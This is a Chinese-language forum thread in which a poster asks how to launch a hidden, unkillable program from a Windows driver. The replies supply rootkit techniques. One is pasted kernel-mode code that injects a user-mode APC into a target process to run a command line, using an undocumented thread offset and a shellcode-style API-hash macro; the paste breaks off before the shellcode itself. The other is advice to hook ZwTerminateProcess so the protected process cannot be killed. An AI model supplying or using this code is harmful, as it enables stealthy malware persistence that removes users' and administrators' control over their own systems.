有没有可能在驱动里面启动一个用户程序?
我有这样一个需求,有一个应用程序和一个驱动交互,
但要求应用程序一开机就运行,不能被杀掉,不是要干坏事 我想,有两种方法1>在驱动里启动这个应用程序,然后把它隐藏(这里有大把隐藏进程的代码:) ), 关于在驱动里启动这个应用程序,我看了Rootkit.com上的代码,好像不太好使。 2>把应用程序做成服务,然后把它隐藏起来,但隐藏服务不会做,在这儿问了也没人回答 :( 请大家帮帮我呀 ;) |

铁出 Showtime : *WORKING* CreateProcess in KernelMode! By: valerino I don\'t think this code needs any comment. Say welcome to usermode calls in kernel land..... with this technique you can even call MessageBox from inside your driver. No more ugly non-working phrack samples, this is the real stuff :) 1) The APC injector //************************************************************************ // NTSTATUS UtilInstallUserModeApcForCreateProcess(char* CommandLine, PKTHREAD pTargetThread, PKPROCESS pTargetProcess) // // Setup usermode APC to execute a process //************************************************************************/ NTSTATUS UtilInstallUserModeApcForCreateProcess(char* CommandLine, PKTHREAD pTargetThread, PEPROCESS pTargetProcess) { PRKAPC pApc = NULL; PMDL pMdl = NULL; PVOID MappedAddress = NULL; ULONG size; KAPC_STATE ApcState; PKEVENT pEvent = NULL; // check params if (!pTargetThread || !pTargetProcess) return STATUS_UNSUCCESSFUL; // allocate memory for apc and event pApc = ExAllocatePool (NonPagedPool,sizeof (KAPC)); if (!pApc) return STATUS_INSUFFICIENT_RESOURCES; pEvent = ExAllocatePool (NonPagedPool,sizeof (KEVENT)); if (!pEvent) { ExFreePool (pApc); return STATUS_INSUFFICIENT_RESOURCES; } // allocate mdl big enough to map the code to be executed size = (unsigned char*)UtilUserApcCreateProcessEnd - (unsigned char*)UtilUserApcCreateProcess; pMdl = IoAllocateMdl (UtilUserApcCreateProcess, size, FALSE,FALSE,NULL); if (!pMdl) { ExFreePool (pEvent); ExFreePool (pApc); return STATUS_INSUFFICIENT_RESOURCES; } // lock the pages in memory __try { MmProbeAndLockPages (pMdl,KernelMode,IoWriteAccess); } __except (EXCEPTION_EXECUTE_HANDLER) { IoFreeMdl (pMdl); ExFreePool (pEvent); ExFreePool (pApc); return STATUS_UNSUCCESSFUL; } // map the pages into the specified process KeStackAttachProcess (pTargetProcess,&ApcState); MappedAddress = MmMapLockedPagesSpecifyCache (pMdl,UserMode,MmCached,NULL,FALSE,NormalPagePriority); if (!MappedAddress) { // cannot map address KeUnstackDetachProcess (&ApcState); IoFreeMdl (pMdl); ExFreePool (pEvent); ExFreePool (pApc); return STATUS_UNSUCCESSFUL; } // copy commandline memset ((unsigned char*)MappedAddress + 160, 0, 260); memcpy ((unsigned char*)MappedAddress + 160, CommandLine,strlen (CommandLine)); KeUnstackDetachProcess (&ApcState); // initialize apc KeInitializeEvent(pEvent,NotificationEvent,FALSE); KeInitializeApc(pApc,pTargetThread, OriginalApcEnvironment,&UtilUserApcCreateProcessKernelRoutine, NULL, MappedAddress, UserMode, (PVOID) NULL); // schedule apc if (!KeInsertQueueApc(pApc,pEvent,NULL,0)) { // failed apc delivery MmUnlockPages(pMdl); IoFreeMdl (pMdl); ExFreePool (pEvent); ExFreePool (pApc); return STATUS_UNSUCCESSFUL; } // and fire it by manually alerting the thread (for reference, this set the KTHREAD.ApcState.KernelApcInProgress) // beware, this could be not compatible with everything ..... it works on 2k/XP anyway, tested on SP2 too..... *((unsigned char *)pTargetThread+0x4a)=1; // apc is fired, wait event to signal completion KeWaitForSingleObject (pEvent,Executive,KernelMode,FALSE,NULL); // free event ExFreePool (pEvent); // unmap and unlock pages / mdl . Note that there\'s no need to call MmUnmapLockedPages on paged locked with MmProbeAndLockPages, // since MmUnlockPages does this for us automatically. MmUnlockPages(pMdl); IoFreeMdl (pMdl); return STATUS_SUCCESS; } 2) This routine just frees the APC allocated memory as soon as it\'s fired //************************************************************************ // VOID UtilUserApcCreateProcessKernelRoutine( IN struct _KAPC *Apc, IN OUT PKNORMAL_ROUTINE *NormalRoutine, // IN OUT PVOID *NormalContext, IN OUT PVOID *SystemArgument1, IN OUT PVOID *SystemArgument2 ) // // This routine just frees the APC //************************************************************************/ VOID UtilUserApcCreateProcessKernelRoutine( IN struct _KAPC *Apc, IN OUT PKNORMAL_ROUTINE *NormalRoutine, IN OUT PVOID *NormalContext, IN OUT PVOID *SystemArgument1, IN OUT PVOID *SystemArgument2 ) { PKEVENT pEvent; KDebugPrint (1,(\"%s APC KernelRoutine called, freeing APC.\\n\", MODULE)); // free apc ExFreePool(Apc); // set event to signal apc execution pEvent = (PKEVENT)*SystemArgument1; KeSetEvent (pEvent,IO_NO_INCREMENT,FALSE); } 3) This is the usermode routine launched by the APC. It gets Kernel32 base and find imports by a hash, then calls winexec (simpler than call createprocess, but anyway this is just an example....). Use this NASM macro to calculate the needed hashes for whatever usermode functions you may need to call : ; ; HASH - NASM macro for calculating win32 symbol hashes ; Usage: HASH instruction, \'SymbolName\' ; %macro HASH 2 %assign i 1 ; i = 1 %assign h 0 ; h = 0 %strlen len %2 ; len = strlen(%2) %rep len %substr char %2 i ; fetch next character %assign h \\ (h<<0x13) + \\ (h>>0x0d) + \\ char ; rotate and add %assign i i+1 ; increment i %endrep %1 h ; return instruction with hash %endmacro I can\'t remember where i got this shellcode, it was lying already modified on my hd for long time. Anyway it\'s not mine.... i just rearranged it to my needs. Whoever recognizes it as his code, email me at valeryno@hotmail.com and i\'ll put the proper credits :) //************************************************************************ // void UtilUserApcCreateProcess(PVOID NormalContext, PVOID SystemArgument1, PVOID SystemArgument2) // // This is where we call createprocess.

他的例子有些问题,不过建议你们自己调试研究下,比直接问别人要代码要好的多.....

目的:应用程序一开机就运行,不能被杀死
应用程序一开机就运行,应该不用多说了..... 不能被杀死应该也很容易,HOOK了ZWTERMINITEPROCESS然后判断是否是你要保护的进程再处理即可...... |
